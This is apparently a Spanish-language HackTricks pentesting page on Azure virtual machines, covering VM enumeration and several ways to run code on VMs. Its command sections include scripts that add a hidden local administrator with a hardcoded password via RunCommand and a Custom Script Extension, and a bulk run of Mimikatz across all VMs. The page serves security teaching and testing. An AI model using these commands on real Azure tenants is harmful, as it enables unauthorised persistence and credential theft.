Az - Virtual Machines & Network

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Información Básica

Desde la documentación: Las máquinas virtuales de Azure son uno de varios tipos de recursos informáticos escalables bajo demanda que Azure ofrece. Normalmente, eliges una máquina virtual cuando necesitas más control sobre el entorno informático de lo que ofrecen las otras opciones. Este artículo te proporciona información sobre lo que debes considerar antes de crear una máquina virtual, cómo crearla y cómo gestionarla.

Información de Red en Azure

Las redes de Azure contienen diferentes entidades y formas de configurarlas. Puedes encontrar descripciones breves, ejemplos y comandos de enumeración de las diferentes entidades de red de Azure en:

pageAz - Azure Network

Azure Bastion

Azure Bastion ofrece una solución de acceso seguro y completamente gestionado a través de RDP (Protocolo de Escritorio Remoto) y SSH (Shell Seguro) sobre SSL a través del portal de Azure. Está integrado dentro de una Red Virtual de Azure, permitiendo la conectividad RDP y SSH a las VM utilizando IPs privadas, evitando la necesidad de IPs públicas. Esto lo convierte en una alternativa más segura y conveniente a los métodos tradicionales que implican asignaciones de IPs públicas y configuraciones de reglas NSG para el acceso a las VM. Los desarrolladores y el personal de TI pueden acceder de forma segura a las VM desde el portal de Azure utilizando sus navegadores web, agilizando el proceso para entornos de desarrollo y pruebas.

Para listar todos los Hosts de Azure Bastion en tu suscripción, puedes utilizar el siguiente comando:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumeración de VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Ejecutar comandos en una VM

Inicio de sesión de AAD en una VM

Es posible permitir el acceso a usuarios autenticados a través de AzureAD. Por ejemplo, al intentar acceder a una VM de Linux: ssh username@azure-corp.com@1.1.1.1 (es importante utilizar el correo electrónico con el azurecorp utilizado al intentar iniciar sesión) podrías recibir un error como:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Simplemente siga esas instrucciones y vaya a https://microsoft.com/devicelogin e indique el código, use el correo electrónico y la contraseña como credenciales y podrá conectarse a través de SSH (si ese usuario tiene suficientes permisos para hacerlo: rol Inicio de sesión de administrador de máquinas virtuales o rol Inicio de sesión de usuario de máquinas virtuales).

Ejecutar Comando

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Ejecutar Extensión de Script Personalizado

Las extensiones de máquinas virtuales (VM) de Azure son pequeñas aplicaciones que proporcionan configuración posterior a la implementación y tareas de automatización en las VMs de Azure. Por ejemplo, si una máquina virtual requiere instalación de software, protección antivirus o la capacidad de ejecutar un script en su interior, puedes utilizar una extensión de VM.

Por lo tanto, si tienes acceso para escribirlo, puedes ejecutar código arbitrario:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

Estado de Configuración Deseado (DSC)

El Estado de Configuración Deseado (DSC) es una herramienta de PowerShell similar a Ansible, utilizada para configurar un host a través de código. DSC se integra con Azure, permitiendo la carga de archivos de configuración específicos. Estos archivos deben cumplir con una sintaxis estricta. Es importante destacar que la extensión DSC en Azure puede ejecutar comandos de archivos que cumplen ciertos criterios de formato, incluso si la sintaxis no es correcta según los estándares de DSC, como se muestra en la figura proporcionada.

La ejecución de estos comandos es facilitada por la función Publish-AzVMDscConfiguration en Az PowerShell. Los requisitos incluyen un archivo .PS1 con una función definida y el archivo debe estar comprimido en un archivo .zip. Aunque la sintaxis puede no ser precisa para DSC, el código aún se ejecutará. Sin embargo, la extensión marcará el estado de ejecución como "fallido" y no se mostrará ninguna salida del comando debido a que el estado será sobrescrito por el mensaje de error.

Definiciones de Aplicaciones de VM

Las Definiciones de Aplicaciones de VM permiten la implementación repetible de aplicaciones versionadas en una VM de Azure. Este recurso admite la implementación y actualización de aplicaciones en varias VM. Para configurar esto, se requieren varios pasos, que involucran comandos como New-AzGalleryApplication y New-AzGalleryApplicationVersion en Az PowerShell.

La ejecución de aplicaciones o comandos a través de este método implica el "VMAppExtension", que se instala automáticamente cuando se aplica una aplicación a una VM. La extensión recupera el archivo desde la URI especificada y lo nombra exactamente como la aplicación, sin extensión. Para ejecutar el archivo correctamente, el campo "ManageActions" en la llamada de la API REST debe estar configurado para renombrar el archivo con la extensión adecuada. La configuración de este método, una vez completada, se asemejará a la estructura mostrada en la figura proporcionada.

Sin embargo, este método de ejecución es relativamente lento, tardando aproximadamente de 3 a 4 minutos en ejecutar una aplicación o comando. Los archivos relacionados con este proceso se almacenan en directorios específicos (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ para la copia de la aplicación y C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ para el estado de ejecución).

Ambas técnicas proporcionan formas únicas de ejecutar comandos e implementar aplicaciones en entornos de Azure, cada una con su propio conjunto de requisitos, pasos y consideraciones.

Grupos de Trabajadores Híbridos (HWGs) en Azure

Grupos de Trabajadores Híbridos (HWGs) son una característica en Azure que permite que los Runbooks, configurados en una Cuenta de Automatización, se ejecuten en una Máquina Virtual (VM) de Azure que forma parte del HWG designado. Esta ejecución se facilita a través de una extensión instalada en la VM, que despliega el código del Runbook en la VM. Un aspecto significativo de este proceso es que las credenciales reales no son un factor en la ejecución porque el código se ejecuta con privilegios elevados, específicamente como SYSTEM o root, como se ilustra en la figura proporcionada.

Un detalle crucial para aquellos que utilizan VMs con Windows 10 es la necesidad de especificar la versión de PowerShell para el Runbook. Debe configurarse para ejecutarse como la Versión de PowerShell 5.1 en lugar de 7.1. Este requisito se debe a que PowerShell 7.1 no está instalado de forma predeterminada en estas VM, lo que lleva a un fallo en la ejecución del script si se especifica la versión 7.1.

Esta característica de Azure ofrece un método sólido para automatizar y gestionar tareas en entornos híbridos, permitiendo la gestión centralizada y la ejecución de tareas en VMs de Azure.

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización